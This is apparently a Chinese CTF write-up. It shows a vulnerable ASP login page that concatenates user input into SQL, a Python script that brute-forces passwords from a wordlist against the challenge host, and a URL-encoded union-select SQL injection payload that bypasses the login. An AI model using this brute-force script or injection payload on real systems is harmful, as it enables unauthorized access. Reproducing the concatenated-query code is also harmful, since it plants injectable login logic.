<% On Error Resume Next dim name, pass, sql, action set conn = server.CreateObject("ADODB.Connection") conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source=" &Server.mappath("******.mdb") name = request.form("username") pass = request.form("userpass") action = request("action") if action="login" then sql = "select * from bdmin where name='" & name & "'" set rs=server.CreateObject("adodb.recordset") rs.open sql,conn,1,3 if rs.eof and rs.bof then response.write "<center>user or pass error!</center>" else if StrComp(rs("pass"),pass) = 0 then response.write "<center>Great! Key:*********</center>" end if end if end if %>从页面处获得用户输入的用户名和密码,
#!/usr/bin/python #-*-coding:utf-8-*- #网页POST提交数据 import urllib import urllib2 import re url = 'http://ctf8.simplexue.com/aspaudit/?action=login' header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 'Accept':'text/html;q=0.9,*/*;q=0.8', 'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding':'gzip', 'Connection':'close', 'Referer':None, 'Host': 'ctf8.simplexue.com'} username_input = "admin" fobj = open('password.txt','r') for eachline in fobj: values = {'username':username_input,'userpass':eachline.strip()} data = urllib.urlencode(values) print data req = urllib2.Request(url,data,header) response = urllib2.urlopen(req) the_page = response.read() flag = re.compile(r'Great!',re.DOTALL).findall(the_page) if len(flag)>1: print "PASSWORD:"+eachline.strip() break于是如果想过第二关就得自己构造pass字段。
也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1